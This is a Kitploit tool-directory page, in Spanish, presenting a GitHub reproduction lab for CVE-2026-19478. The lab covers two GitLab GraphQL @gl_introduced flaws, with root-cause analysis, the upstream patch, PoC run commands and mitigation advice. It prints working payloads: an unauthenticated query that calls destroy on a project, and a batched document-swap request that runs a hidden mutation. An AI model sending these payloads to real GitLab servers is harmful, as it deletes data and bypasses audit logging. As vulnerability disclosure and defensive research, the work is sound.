Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
cve-2026-19478 — Proporciona exploits PoC y análisis de causa raíz de dos vulnerabilidades de la directiva `@gl_introduced` de GitLab GraphQL: ejecución de métodos no autenticada e intercambio de documentos por lotes, con parche upstream y evidencia en vivo. | Kitploit
Herramientas/GitHubGitHub/n0xdaemon/cve-2026-19478
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de Seguridad de APIsSeguridad Web
GitHubn0xdaemon/cve-2026-19478

cve-2026-19478

Proporciona exploits PoC y análisis de causa raíz de dos vulnerabilidades de la directiva `@gl_introduced` de GitLab GraphQL: ejecución de métodos no autenticada e intercambio de documentos por lotes, con parche upstream y evidencia en vivo.

Ver Repositorio
hace 3 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-19478 — Vulnerabilidades del filtro de versiones @gl_introduced de GitLab GraphQL

Un laboratorio de reproducción para dos errores relacionados en la funcionalidad de filtro de versiones de GraphQL de GitLab (la directiva @gl_introduced). Ambos residen en la misma área funcional, se corrigen con el mismo parche upstream y ambos permiten que una solicitud GraphQL llegue a rutas de código que nunca declaró:

  • Ejecución de método mediante campo de respaldo (fallback-field) — una sola consulta no autenticada y no agrupada puede invocar un método arbitrario de cero argumentos (p. ej., destroy) en el modelo detrás de cualquier tipo GraphQL, con solo nombrar un campo que no existe y etiquetarlo con @gl_introduced.
  • Intercambio de documento entre operaciones — en una solicitud agrupada (multiplex), el documento de consulta analizado de una operación puede sustituirse por el de otra, de modo que una ranura que declaró una lectura inofensiva termina ejecutando la mutación de otra ranura.
Descargar herramienta
Afectado18.2 → <18.11.11, 19.0 → <19.0.8, 19.1 → <19.1.6, 19.2 → <19.2.4
Corregido18.11.11, 19.0.8, 19.1.6, 19.2.4
Objetivo del laboratoriogitlab/gitlab-ce:19.2.2-ce.0 (última compilación antes de la corrección)
DesencadenanteDirectiva GraphQL @gl_introduced, sola o dentro de un lote

Estructura del repositorio

root@kitploit:~
docker-compose.yml               Live vulnerable target (GitLab CE 19.2.2), :8929
patch-19.2.2-to-19.2.4.diff      The upstream fix, version_filter only (the whole bug in ~60 lines)
harness/
  live_test_fallback.sh          PoC #1 -- live HTTP exploit, fallback-field method execution (unauthenticated)
  live_test.sh                   PoC #2 -- live HTTP exploit, cross-operation document swap
  run_poc.rb                     PoC #3 -- standalone, isolates the swap in plain graphql-ruby
  loader.rb                      Loads the real 19.2.2 (vuln) or 19.2.4 (patched) version_filter source
  Dockerfile                     Minimal ruby:3.3 runner for PoC #3 (no full GitLab needed)
src/
  common/                        Unchanged upstream files (shared by both variants) + demo schema
  vuln/                          Real 19.2.2 source of the files the patch touched
  patched/                       Real 19.2.4 source of the same files
evidence/
  live_vuln_fallback_field.txt   Captured output of PoC #1 against the live target
  live_vuln.txt                  Captured output of PoC #2 against the live target
  standalone_vuln.txt            Captured output of PoC #3 (vuln)
  standalone_patched.txt         Captured output of PoC #3 (patched)

Todo lo que está bajo src/ es código fuente upstream textual, nunca reimplementado: el cargador superpone src/vuln o src/patched sobre src/common.


1. Causa raíz

1a. Campo de respaldo → resolución de método predeterminada de graphql-ruby

Gitlab::Graphql::VersionFilter::FutureFieldFallback permite que una consulta haga referencia a un campo que aún no existe en un tipo sin que la solicitud falle; está pensado para despliegues progresivos (rolling deploys), donde el esquema de un nodo antiguo aún no tiene un campo que un nodo más nuevo ya incluye. Su override de get_field comprueba si el campo solicitado falta y la solicitud está marcada con contain_future_fields y, si es así, devuelve un campo sintético en lugar de lanzar una excepción:

root@kitploit:~
# src/vuln/.../future_field_fallback.rb
def get_field(field_name, context = GraphQL::Query::NullContext.instance)
  field = super
  return field unless future_field?(name: field_name, field: field, context: context)
  fallback_field(name: field_name)
end

def fallback_field(name:)
  GraphQL::Schema::Field.new(
    owner: self,
    name: name,
    type: GraphQL::Types::Boolean,
    fallback_value: nil
  )
end

El problema: este GraphQL::Schema::Field se construye sin método de resolución, sin clase de resolución y sin bloque. Entonces se aplica la resolución de campo predeterminada de graphql-ruby (gem graphql 2.6.3, lib/graphql/schema/field.rb):

root@kitploit:~
inner_object.public_send(@method_sym)

@method_sym es el nombre del campo, en notación underscore; es decir, exactamente la cadena que el atacante puso en la consulta. Si el objeto detrás del tipo GraphQL (el modelo ActiveRecord) tiene, casualmente, un método público real de cero argumentos con ese nombre, graphql-ruby lo invoca y devuelve su resultado (coercionado al tipo). fallback_value: nil solo se aplica cuando el método realmente no existe; no hace nada para impedir que uno real se ejecute.

Por lo tanto: consulta cualquier tipo con un campo nombrado como un método destructivo real — destroy, por ejemplo — etiquétalo con @gl_introduced para que sobreviva hasta la ejecución, y el método se ejecuta.

1b. Intercambio de documento entre operaciones

IntroducedTracer implementa el resto de la funcionalidad de filtro de versiones a través de dos hooks de traza de graphql-ruby: parse (una vez por operación) y execute_query (una vez por operación). En la compilación vulnerable, almacena su estado por operación en variables de instancia simples en el objeto de traza:

root@kitploit:~
# src/vuln/.../introduced_tracer.rb
def parse(query_string:)
  @original_query_document = super          # <-- shared ivar
  @contain_future_fields   = false
  filter = FutureFieldFilter.new(@original_query_document.dup)
  filter.visit.tap { @contain_future_fields = filter.contain_future_fields }
end

def execute_query(query:)
  return super unless @contain_future_fields
  query.instance_variable_set(:@document, @original_query_document)  # <-- swap
  query.send(:prepare_ast)
  query.context[:contain_future_fields] = @contain_future_fields
  super
end

El problema: graphql-ruby comparte UNA instancia de traza entre todas las operaciones de una solicitud multiplexada, y las analiza todas antes de ejecutar cualquiera de ellas. Así, en un lote de dos operaciones:

  1. parse(op1) → @original_query_document = op1_doc, @contain_future_fields = false
  2. parse(op2) → @original_query_document = op2_doc, @contain_future_fields = true (op2 lleva un campo futuro @gl_introduced)

Después del análisis, solo sobrevive el estado de la última operación. Luego se ejecuta:

  1. execute_query(op1) → la marca es true, por lo que el documento de op1 se sobrescribe con op2_doc y se vuelve a preparar → la ranura de op1 ejecuta la operación de op2.

op1 declaró una lectura; ejecuta la escritura de op2.

La corrección

patch-19.2.2-to-19.2.4.diff cierra ambos:

root@kitploit:~
# future_field_fallback.rb -- give the fallback field an explicit resolver,
# so graphql-ruby never falls through to public_send on the field name
resolver_class: Resolvers::NilResolver
# NilResolver#resolve just returns nil, unconditionally -- no dispatch at all

# introduced_tracer.rb -- key the stashed state by each operation's own
# filtered document instead of one shared ivar
@introduced_tracer_data[filtered_document] = { original_document:, contain_future_fields: }
# ...
doc_data = @introduced_tracer_data[query.document]   # no cross-operation bleed

2. Flujo del exploit

2a. Campo de respaldo — solicitud única, sin autenticación, sin agrupación

root@kitploit:~
query {
  project(fullPath: "root/some-public-project") {
    id
    destroy @gl_introduced(version: "99.0.0")
  }
}

Sin cabecera Authorization. Una operación, sin lote. destroy no es un campo real en Project; ni siquiera existe en el esquema, pero la directiva hace que FutureFieldFilter lo elimine antes de la validación estática y active contain_future_fields para la ejecución, donde get_field devuelve un campo sin resolver llamado destroy y graphql-ruby llama a project.public_send(:destroy).

Verificado en vivo (evidence/live_vuln_fallback_field.txt, reproducido tres veces contra tres proyectos desechables separados): enviado contra un proyecto público, la respuesta fue {"data":{"project":{"id":"...","destroy":true}}}. Una verificación REST autenticada posterior (GET /api/v4/projects/:id) devolvió 404: el proyecto había desaparecido. El registro de solicitudes de esa llamada muestra 9 escrituras síncronas en la base de datos y cero filas nuevas de AuditEvent: la llamada omite por completo Projects::DestroyService (y con él la pista de auditoría, los webhooks y las notificaciones); es una cascada ActiveRecord#destroy en bruto invocada directamente a través de la resolución de campos predeterminada de GraphQL.

2b. Intercambio de documento entre operaciones — requiere un lote

root@kitploit:~
sequenceDiagram
    participant A as Attacker
    participant C as GraphqlController
    participant T as IntroducedTracer (one shared instance)
    participant S as StarProject mutation

    A->>C: POST /api/graphql  [ {query: op1}, {query: op2} ]
    Note over A: op1 = query { currentUser { username } }   (declared read)<br/>op2 = mutation { starProject(...) { count @gl_introduced(version:"99.0.0") } }
    C->>T: parse(op1)
    Note over T: @original = op1_doc, future=false
    C->>T: parse(op2)
    Note over T: @original = op2_doc, future=TRUE  (overwrites op1 state)
    C->>T: execute_query(op1)
    T->>T: op1.@document = @original (op2_doc)#59; prepare_ast
    T->>S: run starProject  ← smuggled into the read slot
    S-->>A: slot 1 returns { starProject: { count } } #59; star state changed

Payload de Op2 — la directiva @gl_introduced solo tiene que estar sobre un campo real para que, en tiempo de análisis, FutureFieldFilter cambie contain_future_fields y active el intercambio:

root@kitploit:~
mutation {
  starProject(input: { projectId: "gid://gitlab/Project/1", starred: false }) {
    count @gl_introduced(version: "99.0.0")
  }
}

Verificado en vivo (evidence/live_vuln.txt): la ranura 1, que declaró query { currentUser { username } }, devuelve {"data":{"starProject":{"count":"0"}}} y el contador de estrellas del proyecto pasa de 1 → 0.


3. Ejecución de los PoCs

PoC #1 — exploit HTTP en vivo, ejecución de método mediante campo de respaldo

root@kitploit:~
docker compose up -d          # first boot runs migrations; wait for healthy (~10 min)

GITLAB_URL=http://localhost:8929 \
GITLAB_TOKEN=<PAT with api scope -- used only to create/verify a disposable project> \
  bash harness/live_test_fallback.sh

El script crea un proyecto público desechable a través de la API REST autenticada (solo configuración), envía una consulta GraphQL no autenticada que nombra un campo destroy etiquetado con @gl_introduced y luego vuelve a comprobar el proyecto mediante REST autenticado. Declara VULNERABLE si el proyecto ya no existe.

PoC #2 — exploit HTTP en vivo, intercambio de documento entre operaciones

root@kitploit:~
GITLAB_URL=http://localhost:8929 \
GITLAB_TOKEN=<PAT with api scope> \
PROJECT_FULL_PATH=root/cve-lab-target \
  bash harness/live_test.sh

El script lee el estado inicial de estrellas, envía el lote de dos operaciones y declara VULNERABLE si la ranura 1, declarada como lectura, devuelve un payload starProject (y/o el contador de estrellas cambia).

PoC #3 — causa raíz independiente, intercambio de documento (sin necesidad de GitLab)

Aísla Gitlab::Graphql::VersionFilter en una aplicación graphql-ruby diminuta para que el intercambio sea visible sin ruido de GitLab. Carga la fuente upstream real.

root@kitploit:~
docker build -t cve-2026-19478-poc -f harness/Dockerfile .
docker run --rm cve-2026-19478-poc harness/run_poc.rb vuln      # -> VULNERABLE
docker run --rm cve-2026-19478-poc harness/run_poc.rb patched   # -> SAFE

4. Impacto

Ambos vectores están confirmados en vivo contra gitlab/gitlab-ce:19.2.2-ce.0. Tienen diferente exposición de autorización porque afectan a distintas capas de la pila de GitLab.

Campo de respaldo (1a): confirmado no autenticado y destructivo

Sin token, sin agrupación, una sola consulta. La respuesta devuelve el resultado del método directamente ("destroy": true) y el registro subyacente en realidad se destruye; confirmado mediante REST autenticado (404) y mediante evidencia del lado del servidor (cero filas de AuditEvent, 9 escrituras síncronas en una sola solicitud), lo que significa que omite por completo el servicio de borrado normal de GitLab. Reproducido tres veces de forma independiente, contra tres proyectos desechables separados. Cualquier tipo GraphQL cuyo objeto subyacente exponga un método destructivo real de cero argumentos es candidato.

Intercambio entre operaciones (1b): confirmado autenticado; restringido cuando es anónimo

Con cualquier token que tenga alcance api, una operación que declaró una lectura ejecuta una escritura que nunca pidió (contador de estrellas 1 → 0, impulsado por una ranura de tipo query). Enviado sin token, el intercambio aún se activa: la ranura de lectura alcanza y resuelve starProject; pero toda mutación de GitLab hereda de Mutations::BaseMutation, cuyo control self.authorized? se ejecuta en tiempo de ejecución:

root@kitploit:~
Ability.allowed?(context[:current_user], :execute_graphql_mutation, :global)

Para una solicitud anónima, current_user es nil, y GlobalPolicy hace rule { anonymous }.policy { prevent :execute_graphql_mutation }. Un barrido de 10 disposiciones de lote (orden, directiva en campo / subcampo / fragmento en línea, lotes de 2 y 3 operaciones) sin autenticación: la ranura secuestrada choca con el control todas las veces y el contador de estrellas nunca cambia.

Este control es específico de las mutaciones — no tiene relación con 1a, que nunca toca Mutations::BaseMutation; el campo de respaldo se resuelve directamente contra el modelo como un campo normal de tipo query, sin ninguna comprobación de autorización en la ruta.

Por qué el PoC independiente (#3) parece no autenticado para 1b

src/common/demo_app.rb no tiene capa de autorización en absoluto — su mutación solo escribe. Así que el PoC #3 demuestra el mecanismo de intercambio (una ranura de lectura que realiza una escritura) en un entorno aislado sin autenticación. GitLab real aplica el control execute_graphql_mutation que la demo omite — específicamente para 1b. En esta compilación estándar, una escritura impulsada por mutación sin credenciales no es alcanzable solo a través de 1b; es alcanzable a través de 1a, que no necesita ninguna mutación.


5. Mitigación

Actualiza a 18.11.11 / 19.0.8 / 19.1.6 / 19.2.4 o posterior. La corrección (ver el diff) hace dos cosas: future_field_fallback.rb le da al campo de respaldo un resolver explícito (Resolvers::NilResolver, que siempre devuelve nil) en lugar de depender de la resolución de método predeterminada de graphql-ruby, cerrando 1a; introduced_tracer.rb limita el estado por operación del tracer al documento propio de cada operación en lugar de una variable de instancia compartida, cerrando 1b.